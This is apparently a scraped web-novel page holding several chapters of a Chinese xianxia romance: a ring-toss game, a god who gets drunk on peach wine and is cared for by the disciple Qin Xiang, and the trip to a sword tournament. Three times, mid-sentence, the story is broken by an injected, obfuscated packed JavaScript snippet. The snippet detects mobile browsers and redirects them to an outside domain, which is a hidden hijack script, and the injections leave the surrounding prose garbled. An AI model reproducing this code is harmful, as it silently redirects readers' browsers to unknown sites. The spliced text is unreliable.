“???!!!”秦湘不可置信地看着地上的竹圈,她的箭法不说是百步穿杨,好歹也是十中□□的,这竹圈是怎么回事?按照平常的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最后一个圈,秦湘下定决心要套最里边最远处的那一壶陈年老酒,她深吸了一口气,竹圈脱手飞出,在灯光下划出一道完美的弧线,然后只闻当啷一声,竹圈稳稳地圈中了那个小小的红泥酒壶。 村长笑着走过去,将小酒壶抱起来,递给秦湘,“小仙君好准头,这酒是你的了。” 秦湘伸手接过,然后轻声道谢。道完谢,她走到周楚闵身边,将酒壶往他怀中一塞,脸上尽是得意之色,“师兄,我厉害吧。” “阿湘冰雪聪明,一点就透,十分厉害。”周楚闵抱过酒壶,毫不吝啬对她的夸奖。 “嘿嘿,这个拿回去,送给师父。”她指了指塞给周楚闵的酒壶,“听村长说这可是存放了十五年的佳酿,都快赶上我了。” “送给我爹?”周楚闵笑道,“那掌门呢?掌门没有不得眼馋死?” “爹爹,我自然有礼物送给他。” “哦?”周楚闵很好奇。秦湘瞥了他一眼,也不卖关子了,直接说道,“就是前几天酿桃花酒的时候我自己动手,酿了一壶,今天我去看了看,村里的大娘说已经发酵好了,可以了,等明天回腾岳之巅的时候我就带回去,带给爹爹喝,爹爹一定会很开心的。” 闻言,周楚闵沉默了。他想起曾经秦湘对着湘菜食谱做菜的经历,一盘辣椒炒肉,辣椒是辣椒,肉是肉,谁也不沾谁的边,书上说加适量水,她拿着碗便冲了一碗水,水多了,就直接拿锅盖闷,把水都闷完了。菜端上来,众人品尝,他至今都还记得那个味道,还有桌上几人空中交换的那几个有苦难言的眼神。 对着菜谱做菜,都是那样,更别说酿酒了,周楚闵不敢想,掌门看见那壶酒会不会开心?会开心?可能会开心到昏过去吧。 看着周楚闵脸上变化莫测的表情,秦湘眉头一皱,不高兴了,“师兄你这是什么表情。” “没什么,没什么,”周楚闵摇摇头,讪讪地笑,“我只是在想,掌门看见你这么想着他,他一定会很高兴的。” “才不是呢,你肯定是在想我之前做的菜那么难吃,这次肯定也是黑暗料理,”秦湘哼道,“之前是没有人教我,我自己照着书做肯定就不对,这次是神君一个步骤一个步骤教我的,肯定不会出错的,不信我带回去你也尝尝。” 周楚闵不敢轻易尝试,摆手摇头:“不了,不了,我相信你,阿湘你就酿了那么些,还是留给掌门吧,我下次有机会再试。” 秦湘见他如此模样,心中更怒,明明就是不相信她,故意找借口逃,正准备再不依不饶地与他掰扯一番,沈清桐却从不远处急匆匆走来,喊她:“阿湘,你快过去看看吧。” 秦湘问:“怎么了?” “席清长老,他被人灌醉了。” 47.神明醉酒 “什么?”秦湘一听,就顾得不再与周楚闵掰扯做菜酿酒的问题了,立刻往长锦那边奔去。 当她快步奔到那里的时候,也被面前的场景惊得一呆。只见长锦坐在那圆木桌面前,虽然坐得还是端端正正的,却不似他平常那么清明,眼帘半阖,脸颊上也染上些不自然的绯红,他手中还握着一个空着的小酒杯,嘴唇一张一翕,不知在喃喃些什么。在他周围,围着好几个村民,皆是不知所措的模样。 “怎么回事?神君你没事吧?怎么一会儿没看着你就成这样了?”秦湘拨开人群,走了过去。 见她发问,人群中有一个村民便将事情经过和她讲了。原来,那时长锦坐在这里吃着饭,几个喝得有点高的村民见他也是腾岳之巅的仙君,就想着过来敬酒,和他喝一杯,长锦盛情难却,想着也就一杯酒,就喝了,可谁知,这一杯下去,结果,就成这样了…… 秦湘听闻事情经过,看了看桌上开着一坛的桃花酿,皱着眉头问道,“这不就是用糯米发酵成的桃花酿吗?村长说度数不算高啊,跟果子酒没什么区别,怎么会醉?”要说长锦滴酒不沾秦湘是不信的,因为这桃花酿方才在饭桌上两人也喝过几杯,那时的他也没事啊,怎么这会儿就醉成这样了?真是百思不得其解。 有人弱弱地回答了她:“正常的桃花酿度数是不高,跟果子酒确实没什么区别,但是这位仙君喝的不是桃花酿,是桃花酒,是用白酒酿制成的,度数相对就高些。” “是啊,我们也不知道啊,这位仙君竟不能喝酒,是个一杯倒啊。”另一个人接茬道。 “……”桃花酿,桃花酒,秦湘扶着额头疼了好一会儿,才叹了口气,张了张嘴,欲言又止,看着这幅场景,竟一时也不知道该说些什么好了。正巧坐在一旁的长锦迷迷糊糊地却在这时认出了站在他面前的人是秦湘,他伸手拉住她的衣角,细声喃喃道:“秦湘……” 听到他在喊她,秦湘连忙坐下,和他面对面坐着,双手扶住他的肩膀轻轻晃了一晃,道:“神君?你还清醒着吗?你认得我是谁吗?” 长锦凑近她,盯着她看了良久,秦湘被他这忽然一靠近整得心脏骤停,呼吸一滞。她艰难地眨了眨眼,正准备将他推回去之时,他却突然又退回了原地,拉开了与她的距离,然后目光朦胧地看着她,笑了笑,道:“秦湘,你是秦湘。” 秦湘松了口气,还好,还好,还认得人,就不算醉得太厉害。但还是不太放心,于是她又伸出了一根手指头竖在两人中间,问道:“神君,你看看这是几呀?” 可这回,长锦却没有应她了。他面对着她,呆了一会儿,然后,就在众目睽睽之下,伸手将秦湘的这一根手指头握在了掌心里。“秦湘……”他喃喃着,然后眯了眯眼,脑袋一垂,身体一倒,就朝着秦湘猛地扑了过去,秦湘猝不及防地就被他生生扑了个满怀。 这一下,在场所有人脸上的表情可就各有各的好看了,周楚闵和沈清桐也在这时赶来,看着面前抱在一起的两人,步子一僵,脸上也是一阵不知该如何形容的表情。 周楚闵挑了挑眉,不知该怎么斟酌措辞才能表达清楚他看见面前这副画面的心情,想了大半天,只能用脸来形容道:“阿湘,你……席清长老……你们俩这……这样这个……是个什么情况?” “……”秦湘此时也不算镇定,她感觉自己脑袋里都在放烟花,这个情况是她也没料到的啊,长锦突然这么毫无征兆地来一下。但在这么多人面前,样子还是要做做的,于是她扶着怀中的人,强做镇定道,“什么什么情况,神君喝醉了,师兄清桐姐姐你们就别站着看戏了,快过来帮帮我,先把神君扶进房间休息吧。” 两人一怔,对视一眼,回过神来后,便赶紧上来帮忙了。秦湘和周楚闵一左一右,沈清桐提灯开路,一番弯弯绕绕,总算是将人扶进房间了。 因为男女终究还是有别的缘故,按道理本来是该周楚闵留下照看长锦的,可喝醉酒的长锦与大多数人都不大同,不发酒疯,不吵不闹,挺安静,唯一有一点就是,爱黏着秦湘,黏到哪种地步呢,就是离开一步,都要立马跟上的那种。所以就这么一来,到最后,没辙,也只能由秦湘留下照看了。 站在门口,周楚闵心累地扶额:“阿湘,所以只能辛苦你照看一下长老了,他真是,我之前怎么没发现,原来席清长老是这样的席清长老啊,这么黏人,不对,黏你。” 秦湘被他这话说得莫名有些心虚,跟心里有鬼似的,她挠了挠额头,讪讪道:“……也没有吧……” 沈清桐从袖口的暗襟之中摸出一只玉瓶,递给秦湘,轻声道:“阿湘,这个是醒酒丸,你待会儿倒两粒给长老服下吧。” “好,”秦湘接过那只玉瓶,又对着两人道,“那清桐姐姐你们先回去陪村长他们吧,我们一次性全部离席影响应该不大好,代我和神君替村长他们打个招呼说声抱歉,这边就交给我吧。” “行,那我们走了。”两人点点头,转身准备离去。 “好。”秦湘站在原地,目送着两人的身影消失在拐角之处,才将玉瓶收好,转身回了房间。 房间里,烛影绰绰,长锦安安静静地坐在床边,眼眸虽然蒙上了一层水雾,但却目光却一点都不含糊,他看着秦湘走进来,一双眼睛便直直地盯着她了。 秦湘对上他的眼睛,愣了愣,走过去,搬了条小圆凳坐在他面前,和他面对面。看着他眼神迷离一副安静乖顺的模样,心下一软,就没忍住地伸手戳了戳他的额头,轻声笑道:“怎么啦?为什么一直盯着我看?” 醉了的长锦丝毫没有平时那副清贵从容淡定的模样,他愣愣地盯着她,好一会儿,才出声,一开口,又是喊她的名字:“秦湘……” 秦湘对这副模样的他很新奇也很受用,于是眯着眼睛点头应:“我在,怎么了?” 长锦意识混沌,恍恍惚惚,将头又往秦湘的手心里凑了凑,然后蹭了蹭,半晌,喃喃道:“秦湘,我头好晕,我难受……” 秦湘看着往她掌心里蹭的长锦,心中一时愣怔,反应过来长锦这动作也太像撒娇了吧,更别提心中是何等的草长莺飞了。她极力压住嘴角,往长锦头上揉了两把,温声道:“现在知道难受了吧,知道自己不会喝酒为什么还要喝呢?拒绝就好了。” 长锦望向她,眨眨眼,认真道:“因为他们让我喝,我一直拒绝他们会不高兴的吧。” 秦湘被他逗得一乐,“原来如此,”又起身道,“那神君你先自己乖乖坐会儿,我去给你倒杯水吧,喝口水可能就不会这么难受了。” “好。”他听话地点头应了,坐在那里,乖巧地不像话。秦湘实在是忍不住,又在他头上揉搓了两把才转身去桌边倒水。 等她倒完水转身往这边看的时候,长锦已经栽倒在床上了,抱着个枕头,明明很想睡,却还要努力地睁着眼睛,往她这边看,就好像生怕一闭眼,她就会消失不见一样。 秦湘轻笑一声,端着茶水走过去,坐在床边,轻轻地推了推他,“神君,起来啦,喝口水吃两粒醒酒丸再睡。”听见她的声音,长锦皱了皱眉头,又挣扎着爬了起来,坐在她身边,接过她递过来的水和药,呆了呆。 “喝水,吃药,”看着长锦呆住,秦湘以为他还处在晕乎乎云里雾里的情况,便伸手点了点他手中拿着的瓷杯和醒酒丸,“吃完了,就不难受了。” “喝水,吃药。”长锦喃喃地重复了一遍她的话,顿了顿,总算明白了过来似的,先将药丸倒入口中,又举起杯子将水灌完。灌得太急,引得一阵咳嗽。 秦湘一怔,连忙从他手中接过杯子,放在一旁的小桌上,又伸手在他后背顺了顺,无奈地说道:“慢点嘛,不要急。” 缓过了劲来的长锦顿了顿,又眯着眼睛凑近秦湘看了看。秦湘看着这张近在咫尺的脸,四目相对之间,也有点招架不住,她眨眨眼,颤着声音问道:“怎……怎么了?” “嗯……是秦湘,没有错。”长锦软绵绵地呓语了两句,朝着她温柔憨厚地笑了一笑,然后便将头埋进了她的怀里,手环着她的腰,无限亲昵地蹭了一蹭。 秦湘整个人都已经完全僵硬石化住了,哪里还能意识到长锦方才说了什么。只觉得头脑嗡嗡,一片空白。她两只手臂呆在半空中良久,才愣愣地低头去看怀中的人,看着长锦紧蹙起的眉,身体也在微微发着抖,仿佛极不安稳。 他在喊她:“秦湘……” 秦湘顿了顿,半晌,才应了他。将手放下,放在他的后背,一下一下地轻轻拍着,安抚着怀中颤抖的人,嗓音轻柔:“神君,别怕,我在,我一直都在。” 本来也只喝了一杯桃花酒,吃了醒酒丸后,长锦整个人就没那么昏沉了。 房间里安静,晒谷场上的热闹却还在继续。村民们热热闹闹地围着篝火说着笑,玩着各种游戏,气氛到了最高峰时,有人将过年时分没放完的烟花爆竹通通搬了出来,点点星光在夜空中升起,在夜幕中绽放成了朵朵火树银花,璀璨夺目,美不胜收。 秦湘怕长锦被吵醒,就准备伸手捂住他的耳朵,可谁知,一低头,却与他四目相对打了个照面。她一愣,轻笑道:“神君,你醒了?头可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958383|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还晕?” 长锦迷迷糊糊地,他从秦湘怀中爬起,揉了揉还有些抽痛的额角,虽然大部分事情都有些记不清了,但大致发生了什么他还是能记得的,看着秦湘动了动被他枕得发麻僵硬的腿,他顿了一顿,才道,“不好意思,我睡了很久吗?其实你可以将我推开的。” 秦湘锤了锤腿,活动了一下,道,“没事,其实也没有多久。”顿了顿,又继续道,“我见神君睡得很香,就不忍心再叫醒你了,只是没想到他们竟然会放烟火,到最后,还是吵醒你了。” “那些村民们可有生气?”长锦揉着额头问。 秦湘一时没听明白,转头望向他,“嗯?什么?” “我本来以为只是一杯桃花酿,喝了也无大碍,结果却一杯就倒,可会扫了他们的兴致?” 秦湘微微抬眸,看着长锦眼中的担忧,不禁一怔,她来回打量着他,而后道:“神君,你有没有发现一件事?” “什么?”这次轮到长锦不明白了。 秦湘双手撑在床边,倏而笑了:“你有没有发现,你变了好多,你好像不怕人了,就是之前那种装作对人冷然淡漠的样子不见了,现在的你,更加真实了。” 长锦顿了顿,像是想起什么,一愣,旋即也笑了,“你不是想让我以人的身份换种情绪来感受一下这个世间吗?这种变化你不喜欢?觉得不好?” 秦湘赶紧摇头:“没有,我觉得很好,神君你本该就是这样一个温柔的人,我只是很好奇,你到底是什么时候想通了,然后卸下这层面具的。” “因为刚来云隐村的时候,我遇见了一个小孩,他让我帮他救一只妖怪。” “嗯?”秦湘双腿在床边晃荡着,闻言,颇为意外地看向他,“救妖怪?” “嗯,救妖怪。”长锦点点头,“那妖怪是条鲤鱼精,和之前云隐村闹的水祟算是同宗,可他却还是救下了她。我问他,如果你救了妖怪,可你救了之后发现你救的都是坏妖怪,你的所有善意全部被辜负,你还会继续救下去吗?” 闻言,秦湘一愣,旋即笑了,“我猜,那个小孩回答神君的应该是,以后遇见了需要帮助的妖怪或者人,他能救的话,他还是会选择救它们。他选择成为好人是他自己本身的意愿,而不为外界因素所影响,这世间的所有事物都具有双面性,所以神君你这个假设所有妖怪都是坏妖怪所有善意都被辜负不成立,只能说没遇见是暂时没遇见,但是不代表它不存在。” “我就知道你会如此回答,”长锦偏过头来,对上她的眼,也笑道,“所以那天遇见了他,看见他坚持着心中的善念,不以偏概全,救下那条小鲤鱼精,听着他的回答,我如醍醐灌顶般。” 他将头转了回来,又叹了一口气,又接着道:“然后我就想到了自己,身为神明就有义务保护苍生,这是作为神的责任,所以,不管苍生对我做了什么,我都不能恨他们,而他们恨我,他们想杀我,只是因为我受了他们的供奉却保护不了他们,这是我的问题,不能怪他们……” 秦湘挑了挑眉,越听越觉得有点不大对劲,就越觉得长锦在从一个极端走向另一个极端。于是连忙道:“打住,神君,我觉得这也不全是你的错,神明因苍生需要而降生,主要力量来源也是苍生,苍生和神明本就是相辅相成的,你的责任是保护苍生,苍生的责任也应该是保护你,记住你,而不是危难之际再来将你供上神台,没有意志意识的苍生就算是神明降世也救不了啊。” 长锦的目光落在她的脸上,半晌无言。秦湘看了看他,一愣,又忙道:“我的意思是,神君你保护苍生是没有错的,但是下次要是再遇见那种他们杀你的情况,你也不要站在原地选择赎罪一样被他们杀,咱们可以选择走。苍生也有好有坏,不一定非得为了披着人皮的恶鬼白白送上自己的性命,这样的人,你就算救了他们,他们也不会感激你的。” “我知道你的意思,我是说我明白你说的那句善恶皆在本心为何意了,我心由我不由人,行由心动,身由心驱。你说得很对,所有事物都具有双面性,我不能因为我遇见了七百年前那样的事情就全盘否定其他存在的善意从而失去自我。”长锦望向她,道,“秦湘,真的谢谢你,让我看见了这些,也明白了这些。” 听着长锦的话,秦湘弯起了眼睛,抚掌笑道:“不用谢我,人生在世,只求一个问心无愧便是最好。如今看见神君这样想,我心中也欢喜,这一趟云隐村果真是来对了。” 看着她脸上洋溢的笑,长锦一怔,半晌,舒了一口气,也笑道:“是啊,这一趟,真来对了。” 48.赴苍龙山 柳绿花红,烟雨蒙蒙。 在一片春意盎然当中,云隐村的农忙委派任务结束了。几人牵着马站在云隐村村口,村长夫妇还有好些村民过来相送,一个一个装着农家小菜的包袱不停地往几人怀中送。 这种交际来往是几人都不熟悉的,所以看见这大包小包的东西,众人的第一反应便是不能拿不能要,腾岳之巅不缺用度,怎么可以再拿村民们的东西呢? 村长媳妇手中提了个竹篮子,里面装了一筐子香椿、蕨菜还有小细笋子,她笑着将竹篮子塞进周楚闵怀中,爽朗道:“仙君,这些可都是我今早赶早上山采的呢,一年只有一季,绝对是你们没有吃过的新鲜东西,你们带回去,让厨房的师傅们炒鸡蛋吃,香得嘞。” 周楚闵想也没想,又摇头推了回去:“不不不,大娘,你们还是留着自己吃吧。” “怎么?”村长媳妇一听这话,佯装不高兴道,“仙君可是瞧不上这些不值钱的东西。” 周楚闵一听这话,误会就大了,连忙道:“不不不,我不是这个意思,我的意思是,我们怎么可以拿你们的东西呢?腾岳之巅并不缺吃穿用度,你们也不容易,留着自己吃吧。” “哎呀,瞧你这话说的,这不是容易不容易和缺不缺的问题,”村长媳妇笑道,“又不是些什么贵重的东西,只是我们想要感谢几位仙君这十几天来对云隐村的照顾,所以才准备了一点小小的心意,你们要收下我们心中还开心些,你们要不收,我们心中反而还过意不去,就不高兴了。” “是啊是啊,几位仙君就收下吧,这又不是花钱买来的,是我们自己种的菜,自己酿的酒。” “是啊是啊,都是些家常,收下吧,你们收下,我们心中才高兴啊。” 村民们都你一言我一语地围了上来,几人面面相觑,想了想,最终还是收下了村民们送过来的乡间野菜和自酿美酒。 马儿载着满满当当的包袱,在村民们的手挥目送下,朝着远处奔腾而去。 云隐村委派任务结束后,秦湘和周楚闵就开始投入了紧张的练剑日常之中,除了偶尔有的棘手的委派任务需要下山外,其余时间,几乎都泡在了校演场练剑,为四个月之后的群英论剑大会做准备。而长锦从云隐村回来之后,终日往返于藏书阁与西院之间,希望能找到些什么法子来打破修士无法感受到魔气而白白丧命于妖邪之手的僵局。 日子一天一天地过去,转眼便到了群英论剑大会开始的日子。 群英论剑大会由清虚门主持,所以赛场设置便是清虚门所在地洛阳城。比赛地点是洛阳城外一座名曰苍龙的高山之上,相传在二十多年前,曾有一条蛟龙大妖盘踞于此山之中,为祸周遭百姓,后来蛟龙被少年江暮行所斩杀,而他也因此一战成名,拜入清虚门后,为了纪念和弘扬江暮行的这种剑客精神,清虚门便在此山之上设置了擂台,每年秋日在这一天,仙门百家各门各派的青年豪俊都会聚集于此,以剑术修为一较高下。 虽然后来在十年前江暮行因为那杀妖取丹修炼邪术之事而身败名裂早已伏诛,但这每年一度的苍龙山论剑大会倒还是照常举行,到今年,已是第二十三届了。 出发去苍龙山的前一天,秦湘来到了西院找长锦。大赛由各个门派的掌门作为裁判,所以明日除了秦湘和周楚闵作为参赛人要奔赴苍龙山外,秦叙作为裁判也必须要到场。另外,长锦在三年前花溪镇中一战成名,后来又闭关三年,在江湖之上还未曾漏过脸面,这一次苍龙山论剑大会给他也下了帖子,请他务必到场,所以,长锦推辞不得,也得去。 此时正值午时,秋日的阳光暖洋洋地,秦湘端着一碟桂花糕来到西院,走进院中,敲了敲虚掩着的门扉,轻声道:“神君?你在吗?我进来啦。” “嗯,门没关,进来吧。”长锦的声音从门后虚虚地传了出来。 “好。”推开门扉,走进去。房间内,长锦一袭青色锦衣,头发用一条白色发带绑着发尾,姿态随意,一如初见。案牍前,黄色符咒图纸撒满了一地,而他就坐在案几前皱着眉头神情认真地捣鼓着面前的一只花纹繁琐还未完工的罗盘。 秦湘看着面前乱七八糟散落一地的图纸,摇了摇头,踮起脚尖找着落脚的地方走了过去,将桂花糕放在桌上,又将地上散落的符咒图纸一一捡起整整齐齐地放在了案牍旁边,她才在长锦对面坐下,轻声问道:“神君你这是在做什么?这是什么罗盘和符咒呀?做什么用的?” “魔煞罗盘和驱魔符咒。”长锦总算是将罗盘的指针装上了,他抬起头来,闭着眼睛揉了揉眉心,复而才睁开,看向秦湘,“你怎么来了?今天不用练剑?” 秦湘拎过一边的白瓷茶壶,斟了两杯茶,一杯送到长锦面前,一杯自己端了喝。 她喝了一口茶,才道:“都到最后一天了,练好了就是好了,没练好就是再抓着这最后半天彻夜练习也没有用呀,所以师父让我们散了,今天好好休息。” 长锦坐在她对面,端着茶杯喝了两口,闻言笑道:“那看来你是胸有成竹了。” “其实没有,”秦湘叹了口气,“没到快开始的时候我一点都不害怕,总觉得我那么厉害,魁首一定势在必得,可随着时间越推越近,我反而就越紧张,你别看我现在面上是一副云淡风轻的样子,我都要慌死了,心脏跳得可快可快了,不信你摸摸我的手,其实都在发抖。” 秦湘边说着,边将手递了过去。看着面前白净柔软的手指,长锦一怔,旋即笑了,伸出手来轻轻握住她的,虽然秦湘面上并无任何紧张之意,可细细感受下,手指却在不自觉地发着细微的颤抖,他握了一会儿,然后松开。 秦湘收回手,抬眼看向他,捂着心脏无奈道:“是吧?神君你感受到了吧?我真的是要慌死掉了,控制不住的那种,所以我才想来找你转移一下我的注意力的。” “没事的,我见过你的剑,很厉害,不用担心,”长锦温声道,“可能就是你太在意输赢了,怕自己输了会怎么办,你可以试试不要刻意去想着它,尽力就好,无愧于心。” 秦湘双手握住茶杯,看着茶水中的倒影发了会儿呆,怔了怔,又叹了口气,端起茶杯咕咚咕咚一饮而尽,又捏着茶杯猛地一放在案几上,挺直腰板道:“对,神君,你说得对,尽力就好,就是不能想这么多,想得越多越紧张。” 她盯着长锦看了一会儿,眨了眨眼,又泄了气地垂下腰板,皱着眉头哀嚎道:“啊,不行啊,我控制不住我自己,还是好紧张。” 长锦看着她,哭笑不得,从一旁书卷下拿出一张书笺递给她,柔声道:“给,清心诀。” 秦湘接过他递过来的书笺一看,上面大喇喇的三个字清心诀写在上面,她一顿,头脑风暴了一番,才狐疑地开口:“神君,你莫不是在与我开玩笑?这玩意?清心诀?” “是啊,你看,”长锦一本正经地点头,用眼神指着纸上的三个字,“清、心、诀,没有在与你开玩笑,这上面写着的,就是清心诀呀。怎么样?看着它,有没有好一点了?” “噗,”看着长锦认真逗她的模样,秦湘一个没忍住,笑出声来,半晌,才轻声笑道,“神君你什么时候变成这样了,还会开玩笑了,和谁学的?这一本正经讲冷笑话的样子真的太可爱了。” “你笑了,现在是不是就不紧张了?”长锦一手托腮,笑吟吟地看着她,“所以呀,转移一下你的注意力是可行的。” “是是是,神君你真厉害。”秦湘附和地点头,被长锦的冷笑话这么一闹,她的注意力确实是被转移了一些,心中的紧张也的的确确地消失了一些。于是她左右看了一番,将目光又放在了一旁她刚进来时收拾的那些图纸符咒和那古怪罗盘上来。 她忍不住伸手拿过刚刚长锦装好的那只罗盘,抓在手中翻来覆去地细细观看,“对了,方才神君还没回答我呢,你说这叫魔煞罗盘和驱魔符咒,所以这是用来对付魔气的吗?” 幕后之人与魔主达成协议,能驱使魔气吸收邪念助他增长实力打开厄运之门,而修士感受不到魔气,在这些妖魔鬼怪杀人事件当中,极容易被压制灵力从而丧命。从云隐村归来后,长锦整个思想心理发生了一些变化,所以他这些日子便一直在研究着解决办法,想要制造一种可以探测魔气,又可以驱除魔气的法器来。 长锦将手中的茶一饮而尽,放下茶杯,道:“是的,如果要遇到了妖邪事件,用这个魔煞罗盘可以指明方向,探测魔气,指引修士们找到魔气的宿主,而驱魔符咒可以消除魔气磁场结界,保护修士们不受魔气影响,灵力全失,没了那层魔气,妖邪们便就只是一般妖邪了,对付起来,也就没那么棘手了。” 闻言,秦湘心中一惊,看向长锦欣喜道,“那这样,那幕后之人的手段就没用了,也不会有那么多无辜的人因此丧命了。” “只能说是打破了我们目前这个僵局,等去了苍龙山,再让掌门将这些东西分发交由给其他仙门百家,那幕后之人是当初花溪镇仙门百家中的其中一个,论剑大会那日,他未必不会到场,我们在明敌在暗,所以我们使用魔煞罗盘和驱魔符咒,他必然也会知道他的计划遭到了破坏,到时候定会另寻他法来收集恶念,只能走一步看一步了。” “也是,走一步看一步吧。”秦湘点点头,起身温声道,“先不想这么多了,时辰也不早了,神君要不要和我一起去云隆堂里吃饭?” 云隆堂中的人群熙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969330|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熙攘攘,十分热闹,腾岳之巅的弟子们结伴而行,蜂拥而至。 看着打菜窗口面前端着木托盘子排着长队的弟子们,秦湘笑着感叹道:“我还是第一次看见这么多人排队的云隆堂。” 长锦接过她递过来的木托盘子,与她一起站在队伍的末端,闻言奇道:“怎么会?” “因为我从来没有这么准时地来云隆堂吃过饭,每次要么就是太忙了,等忙完了再来吃,要么就是等大家吃完了,不用排队的时候再来吃,像这样人挤人排长队还是第一回呢。”秦湘边说着,边往前头张望。 等到两人打好饭坐下,已经是好一会儿之后的事情了。秦湘拉开桌子下面木凳子,就迫不及待地坐下开吃,今天有湘菜中的名菜,辣椒炒肉,味道香辣咸鲜,肉质肥而不腻,着实下饭。 长锦坐在秦湘对面,看着她一顿哐哐狂炫,嘴角弧度也越发明朗。秦湘又猛地塞了一口饭,这才抬头往长锦那边瞧了一眼,却没料到这一抬头就与他来了个四目相对。 看着长锦似笑非笑地看着她,秦湘顿了顿,眨眨眼,迷茫道:“怎么了?神君你怎么不吃啊?一直看着我,是我吃相太难看了吗?还是嘴角有东西?” “没有,只是看你吃得很香。” “是吗?可能是这个菜太下饭了,”秦湘嘿嘿一笑,又想起什么似的,“说起来,我第一次下厨学做的第一个菜就是这个辣椒炒肉,可是做得很难吃,像是水炖出来的一样,还难为师兄他们给我面子,咽下去了没有吐。” 听着秦湘的话,长锦轻笑了一声,又道:“那下次你想做菜的时候叫上我,我教你。” “咦?”秦湘停下了手中的筷子,惊奇地看向长锦,“神君你还会做菜啊?” “会点皮毛,不过教你做个辣椒炒肉应该是绰绰有余了。” “好呀好呀,那下次有空的时候神君你教教我。” “嗯,行。” 两人边吃边聊了一会儿,吃到一半,周楚闵与沈清桐也来了,端着木托盘来到两人身旁坐下。周楚闵坐到长锦身边,沈清桐坐在秦湘身边。 “席清长老好。”两人朝着长锦打了个招呼,长锦看了看两人,也朝两人点了点头笑了笑,“好。” 周楚闵拉开椅子,落座,看向对面的秦湘,笑道:“阿湘,你们方才在聊什么呢?” 秦湘抬眼看向他,“什么都聊,还聊了论剑大会呢,明天就要出发去苍龙山了,我和神君说我紧张,师兄,为何我看你一点都不紧张呀?” “这有何好紧张的,一次比赛而已,年年都有,放平常心啦。”周楚闵说着,笑眯眯地将托盘中的一碗海带排骨汤放在沈清桐面前,“而且阿湘你竟然会紧张,不应该呀?” 闻言,秦湘神色复杂苦笑着看了他一眼,“什么叫做不应该,在师兄眼中,我是如此自信从容的人吗?” “是啊,”周楚闵给了她一个肯定的点头,“而且阿湘你又不是第一次参加了,三年前你不也参加过一次,还夺得了第三,不算差了,如今再战,肯定能大放异彩。” “当时是年纪小,虎得很,”秦湘嘀咕道,“群英论剑大会上聚集着仙门百家的青年才俊,且不说别人,乔玉洲就算一个很大的竞争对手了,虽然……” “乔玉洲?”周楚闵打断她,道,“阿湘,你还不知道呢吧,乔玉洲退赛了,不参加今年的群英论剑大会了。” “不参加了?”秦湘一愣,有些意外,“他怎么突然就退赛了?什么时候的事?” “就这几天的事儿吧,方才我听掌门说的,具体为何退赛那我就不知道了。” 听到这儿,秦湘突然想到了几月之前乔玉洲与她说的三花和妖族的事情,在这当口上,能让乔玉洲放弃这全天下门派都奔赴的盛会,估计也就只有三花的事情了吧。 “虽然乔玉洲不参赛了,但听师父说今年赛场上还是有许多初出茅庐的新才俊,不能掉以轻心啊,”沈清桐坐在一旁,轻声开口道,“这次我不能与你们一同前往了,赛场上刀剑无眼,你们自己多当心些。” 看着沈清桐神情温柔关切,秦湘笑道:“嗯,我知道的,清桐姐姐你就放心吧。” “此去洛阳,山高水长的,一来一回可能就要个把月了,你们在外无人照料,等晚些我回去为你们收拾些草药伤药什么的,你们仔细收着,以备不时之需。”沈清桐说着,又看向了长锦,“席清长老也是,师父新炼制了一味新的安神丸,等晚些时辰我拿给阿湘,效果比之前那些要更好,你也带上。” 虽然如今不需要安神丸也能睡着了,但毕竟是大家的一番心意,长锦心中很是感激,朝着沈清桐垂眼颔首温声道:“多谢沈姑娘。” 49.霓裳仙姿 第二天,秦叙将派中事务交由明萧长老为主的十几位长老后,拿上群英论剑大会的令牌,就带着秦湘一行人上路了。 这回要去的地方是洛阳城,与巴陵城相距甚远,骑马又累,御剑飞行又没什么意思,反正出发得早,于是众人一程水路一程陆路,不紧不慢,一路上吃喝玩乐,游山玩水,如此行了十余日后,几人才到达苍龙山脚下的一个城镇。 他们到达的这个城镇名曰霞羽城,城镇不算大,却因苍龙山而得名,且洛阳自古以来就有神都的称号,又位于中原核心位置。正所谓瘦死的骆驼比马大,就算是座小城镇,其发达程度也比巴陵一些富饶的城市还要热闹上几分不止。 站在霞羽城的街道上,秦湘看着面前的车水马龙,繁华似锦,碧鬟红袖从眼前飘荡而过,不管再来几回,她还是会被洛阳的美所折服。 她感叹道:“不愧是为天下之中的城市,就算是周边的一个小城镇,也如此热闹。” 周楚闵听着她的感慨,也笑道:“是啊,平日里的霞羽城就已经够热闹的了,现下赶上群英论剑大会,所有往这里赶的人几乎都会在这里落脚,这热闹程度就更加不用说了。” 秦叙与长锦也从马车上走下,付了车钱,才踱着步子来到两人身边。 越来越多的人来到霞羽城,秦叙看了看周围与他们一样背着行囊行色匆匆的修士,笑道:“走吧,先去住店,不然晚些时辰人越来越多。” 几人背着包袱向着城中走去,洛阳并不常来,来一回也不容易,秉着该省则省,该花就花的原则,所以众人一商量,便去了霞羽城中最出名的酒楼,仙月楼中投宿。 